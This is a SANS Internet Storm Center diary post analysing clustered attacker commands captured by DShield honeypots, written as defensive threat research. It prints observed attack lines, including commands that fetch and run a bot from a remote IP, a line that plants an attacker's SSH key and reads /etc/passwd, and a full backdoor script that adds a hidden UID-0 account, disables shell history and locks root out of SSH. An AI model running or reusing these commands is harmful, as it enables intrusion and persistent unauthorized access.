ISC Stormcast For Friday, May 30th, 2025 https://isc.sans.edu/podcastdetail/9472

Usage of "passwd" Command in DShield Honeypots

Published: 2025-05-30. Last Updated: 2025-05-30 00:33:50 UTC
by Jesse La Grew (Version: 1)
1 comment(s)

DShield honeypots [1] receive different types of attack traffic and the volume of that traffic can change over time. I've been collecting data from a half dozen honeypots for a little over a year to make comparisons. This data includes:

  • Cowrie logs [2], which contain SSH and telnet attacks
  • Web honeypot logs
  • Firewall logs (iptables)
  • Packet captures using tcpdump

The highest volume of activity has been for my residentially hosted honeypot. 


Figure 1: Cowrie log volume by honeypot starting on 4/21/2024, covering approximately 1 year. 

 

The data is processed with some python scripts to identity data clusters and outliers [3]. This weekend I learned that there is only so much memory you can throw at a probelm before you need to consider a different strategy for analyzing data. While doing clustering of unique commands submitted to my honeypots, my python script crashed. It left me with a problem on what do to next. One of the options that I had was to try and look at a subset of the command data. But what subset?

Something that was interesting when previously reviewing the data was how many different kinds of password change attempts happened on honeypots. This was one of the reasons that I tried to do clustering in the first place. I wanted to be able to group similar commands, even if there were deviations, such as the username and password attempted for a password change command. 

A summary of the data volume for submitted commands ("input" field in Cowrie data):

Unique commands: 536,508
Unique commands with "passwd" used: 502,846
Percentage of commands with "passwd" included: 93.73%

Considering that 94% of the unique commands submitted had something to do with "passwd", I decided to filter those out, which would allow me to cluster the remaining data without any memory errors. That still left how to review this password data and look for similar clusters. My solution was simply to sort the data alphabetically and take every third value for analysis. 

# sort pandas dataframe using the "input" column
unique_commands_passwd = unique_commands_passwd.sort_values(by='input')

# take every third value from the dataframe and store it in a new datafame for analysis
unique_commands_passwd_subset = unique_commands_passwd.iloc[::3, :]


This allowed me to process the data, but it does have some shortcomings. If there were three adjacent entries that may have been outliers or unique clusters, some of that data would get filtered out. Another option in this case could be to randomly sample the data.

From this clustering process, 17 clusters emerged. Below are examples from each cluster. 

 

Command Cluster
apt update && apt install sudo curl -y && sudo useradd -m -p $(openssl passwd -1 45ukd2Re) system && sudo usermod -aG sudo system 0
echo "czhou\np2mk0NIg9gRF\np2mk0NIg9gRF\n"|passwd 1
echo "$#@!QWER$#@!REWQFDSAVCXZ\nougti9mT9YAa\nougti9mT9YAa\n"|passwd 2
echo "540df7f83845146f0287ff6d2da77900\nE3oSNKfWpq1s\nE3oSNKfWpq1s\n"|passwd 3
echo "A@0599343813A@0599343813A@0599343813\nymL1D2CvlBlW\nymL1D2CvlBlW\n"|passwd 4
echo "ItsemoemoWashere2023support\nnZsvXDsxcCEm\nnZsvXDsxcCEm\n"|passwd 5
echo "root:ddKCQwpLRc9Q"|chpasswd|bash 6
echo -e "Passw0rd\ndljyjtNPLEwI\ndljyjtNPLEwI"|passwd|bash 7
echo -e "xmrmining@isntprofitable\n7UrX3NlsBj6i\n7UrX3NlsBj6i"|passwd|bash 8
echo -e "540df7f83845146f0287ff6d2da77900\nHB15VQlzOyOo\nHB15VQlzOyOo"|passwd|bash 9
echo -e "A@0599343813A@0599343813A@0599343813\nymL1D2CvlBlW\nymL1D2CvlBlW"|passwd|bash 10
echo -e "ItsemoemoWashere2023support\nnZsvXDsxcCEm\nnZsvXDsxcCEm"|passwd|bash 11
lscpu && echo -e "yNHYAVV3\nyNHYAVV3" | passwd && curl https://ipinfo.io/org --insecure -s && free -h && apt 12
lscpu | grep "CPU(s):                " && echo -e "5XHeUh9gNe76\n5XHeUh9gNe76" | passwd && pkill bin.x86_64; cd /tmp; wget http://45.89.28[.]202/bot; curl -s -O http://45.89.28[.]202/bot; chmod 777 bot; ./bot; 13
lscpu | grep "CPU(s):                " && echo -e "9nz66TbaU9Y8\n9nz66TbaU9Y8" | passwd && pkill bin.x86_64; cd /tmp; wget http://45.89.28[.]202/bot; curl -s -O http://45.89.28[.]202/bot; chmod 777 bot; ./bot; iptables -A INPUT -s 194.50.16[.]26 -j DROP; iptables -A INPUT -s 85.239.34[.]237 -j DROP; iptables -A INPUT -s 186.2.171[.]36 -j DROP 14
lscpu | grep "CPU(s):                " && echo -e "Gr7gWzAzts5y\nGr7gWzAzts5y" | passwd && pkill bin.x86_64; cd /tmp; wget http://45.89.28[.]202/bot; curl -s -O http://45.89.28[.]202/bot; chmod 777 bot; ./bot; iptables -A INPUT -s 194.50.16[.]26 -j DROP; iptables -A INPUT -s 85.239.34.237 -j DROP 15
openssl passwd -1 45ukd2Re 16

Figure 2: Sampling of commands with "passwd" used for each cluster identified. 

 

Some of these could probably be clustered better with different feature selections, but it's still a nice grouping. I was a bit more interested in what the outliers looked like (cluster=-1).
 


Figure 3: Clustering outliers highlighting some more unique entries. 

 

Commands

#!/bin/bash
username="local"
version="1.3"

if [ "$EUID" -ne 0 ]; then
  echo "[-] Run as root!"
  exit
fi

getent passwd $username > /dev/null
if [ $? -eq 0 ]; then
  echo "[-] Username $username is already being used!"
  exit
fi


<rest of script not included>

;             arch_info=$(uname -m);             cpu_count=$(nproc);             gpu_count=$(lspci | egrep -i 'nvidia|amd' | grep -e VGA -e 3D | wc -l);             echo -e "YnEGa37O\nYnEGa37O" | passwd > /dev/null 2>&1;             if [[ ! -d "${HOME}/.ssh" ]]; then;                 mkdir -p "${HOME}/.ssh" >/dev/null 2>&1;             fi;             touch "${HOME}/.ssh/authorized_keys" 2>/dev/null;             if [ $? -eq 0 ]; then;                 echo -e "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAk5YcGjNbxRvJI6KfQNawBc4zXb5Hsbr0qflelvsdtu1MNvQ7M+ladgopaPp/trX4mBgSjqATZ9nNYqn/MEoc80k7eFBh+bRSpoNiR+yip5IeIs9mVHoIpDIP6YexqwQCffCXRIUPkcUOA/x/v3jySnP6HCyjn6QzKILlMl8zB3RKHiw0f14sRESr4SbI/Dp2SokPZxNBJwwa4MUa/hx5bTE/UqNU2+b6b+W+zR9YRl610TFE/mUaFiXgtnmQsrGG6zflB5JjxzWaHl3RRpHhaOe5GdPzf1OhXJv4mCt2VKwcLWIyRQxN3fsrrlCF2Sr3c0SjaYmhAnXtqmednQE+rw== server" > ${HOME}/.ssh/authorized_keys;                 chmod 600 ${HOME}/.ssh/authorized_keys >/dev/null 2>&1;                 chmod 700 ${HOME}/.ssh >/dev/null 2>&1;                 ssh_status="success";             else;                 ssh_status="failed";             fi;             users=$(cat /etc/passwd | grep -v nologin | grep -v /bin/false | grep -v /bin/sync | grep -v /sbin/shutdown | grep -v /sbin/halt | cut -d: -f1 | sort);             echo "$arch_info:$cpu_count:$gpu_count:$users:$ssh_status";         
ps -HewO lstart ex;echo finalshell_separator;ls --color=never -l /proc/*/exe;echo finalshell_separator;cat /etc/passwd;echo finalshell_separator;ip addr;echo finalshell_separator;pwd;echo finalshell_separator;uname -s;uname -n;uname -r;uname -v;uname -m;uname -p;uname -i;uname -o;echo finalshell_separator;cat /etc/system-release;cat /etc/issue;echo finalshell_separator;cat /proc/cpuinfo;echo finalshell_separator;

Figure 4: Commands that looked more unique among the cluster outliers. 

 

These were much more interesting, especially the first one since I was anticipating to find a reference for the script somewhere, but have found anything. The full script here:

#!/bin/bash
username="local"
version="1.3"

if [ "$EUID" -ne 0 ]; then
  echo "[-] Run as root!"
  exit
fi

getent passwd $username > /dev/null
if [ $? -eq 0 ]; then
  echo "[-] Username $username is already being used!"
  exit
fi

echo "[+] SSH Vaccine Script v$version"

os=`lsb_release -is 2>/dev/null || echo unknown`
cpus=`lscpu 2>/dev/null | egrep "^CPU\(s\):" | sed -e "s/[^0-9]//g" || nproc 2>/dev/null || echo 0`

# Create the backdoor username.
echo "[!] Create username $username with administrator privilege."
if [ ! -d /home ]; then
  mkdir /home
  echo "[!] Folder /home was created."
fi
passwd=$(timeout 10 cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1)
h="$pwhash"
if [ -x "$(command -v openssl)" ]; then
  h=$(echo $passwd | openssl passwd -1 -stdin)
else
  passwd="$pw"
fi
useradd $username -o -u 0 -g 0 -c "local" -m -d /home/$username -s /bin/bash -p "$h"

if ! grep -q "^$username:" /etc/passwd;then
  echo "cannot add user"
  exit
fi

if [ -x "$(command -v ed)" ]; then
  printf "%s\n" '$m1' wq | ed /etc/passwd -s
  printf "%s\n" '$m1' wq | ed /etc/shadow -s
else
  lo=$(tail -1 /etc/passwd)
  sed -i "/^$username:/d" /etc/passwd
  sed -i "/^root:.*:0:0:/a $lo" /etc/passwd

  lo=$(tail -1 /etc/shadow)
  sed -i "/^$username:/d" /etc/shadow
  sed -i "/^root:/a $lo" /etc/shadow
fi

echo "[!] Generated password: $passwd"
echo "[!] Set the profile."
echo "unset HISTFILE" >> /home/$username/.bashrc
echo 'export PS1="\[$(tput setaf 2)\][\[$(tput sgr0)\]\[$(tput bold)\]\[$(tput setaf 2)\]\u@\h \W\[$(tput sgr0)\]\[$(tput setaf 2)\]]\[$(tput sgr0)\]\[$(tput bold)\]\[$(tput setaf 7)\]\\$ \[$(tput sgr0)\]"' >> /home/$username/.bashrc
echo "cd /var/www/httpd" >> /home/$username/.bashrc
echo "w" >> /home/$username/.bashrc
echo "################################################################################"

echo "#######################################################################" > /tmp/sshd_config_tmp
echo "#                    ! ! ! ! ! IMPORTANT ! ! ! ! !                    #" >> /tmp/sshd_config_tmp
echo "# * Your system has detected a weak password for root account and for #" >> /tmp/sshd_config_tmp
echo "# security reasons, remote access via SSH has been blocked to prevent #" >> /tmp/sshd_config_tmp
echo "# unauthorized access. In order to enable again remote access to this #" >> /tmp/sshd_config_tmp
echo "# machine for root user via SSH, set a new complex password for root  #" >> /tmp/sshd_config_tmp
echo "# account and delete 'DenyUsers root' line below on this config file. #" >> /tmp/sshd_config_tmp
echo "# * Restarting the SSH Daemon is required for changes to take effect. #" >> /tmp/sshd_config_tmp
echo "#                                                                     #" >> /tmp/sshd_config_tmp
echo "# Bash commands:                                                      #" >> /tmp/sshd_config_tmp
echo "# passwd root             (Changes your root password).               #" >> /tmp/sshd_config_tmp
echo "# service sshd restart    (Restart the SSH Daemon).                   #" >> /tmp/sshd_config_tmp
echo "DenyUsers root" >> /tmp/sshd_config_tmp
echo "#######################################################################" >> /tmp/sshd_config_tmp
cat /etc/ssh/sshd_config >> /tmp/sshd_config_tmp
yes | cp /tmp/sshd_config_tmp /etc/ssh/sshd_config > /dev/null 2>&1
rm -rf /tmp/sshd_config_tmp

systemctl restart ssh || systemctl restart sshd || service ssh restart || service sshd restart || /etc/init.d/ssh restart || /etc/init.d/sshd restart
if [ $? -eq 0 ];then
  echo "SSHD restarted"
else
  echo "SSHD error"
fi


ip=$ip
echo "[!] IP: $ip"

# Try to get a hostname from IP.
dns=`getent hosts $ip | awk '{print $2}'`
if [ -z "$dns" ]
then
  dns=null
fi
echo "[!] DNS: $dns"

# Get country name from IP.
country=`wget -qO- https://api.db-ip.com/v2/free/$ip/countryName 2>/dev/null || curl -ks -m30 https://api.db-ip.com/v2/free/$ip/countryName 2>/dev/null || echo X`


echo "[!] List of usernames on this machine:"
ls /home | awk '{print $1}'

echo "[!] List of ethernet IP addresses:"
ip addr show | grep -o "inet [0-9]*\.[0-9]*\.[0-9]*\.[0-9]*" | grep -o "[0-9]*\.[0-9]*\.[0-9]*\.[0-9]*"
echo "################################################################################"

# Print all info necessary about the machine.
echo ""
uname -a
echo "$username $passwd $h"
echo "$ip,$dns,root,$username,$passwd,$cpus,$os,$country"
echo ""
echo "################################################################################"

 

I have only seen this command once on my Digital Ocean honeypot on 9/13/2024 from 194.169.175.107. I'll dive into the script and some of the other activity from this host in a future diary. 

The clustering exercise helped to find one item that was unqiue out of over 500,000 values. This was a good lesson for me to find ways to sample data and save memory resources.

 

[1] https://isc.sans.edu/honeypot.html
[2] https://github.com/cowrie/cowrie
[3] https://isc.sans.edu/diary/31050

--
Jesse La Grew
Handler

1 comment(s)

Comments


Diary Archives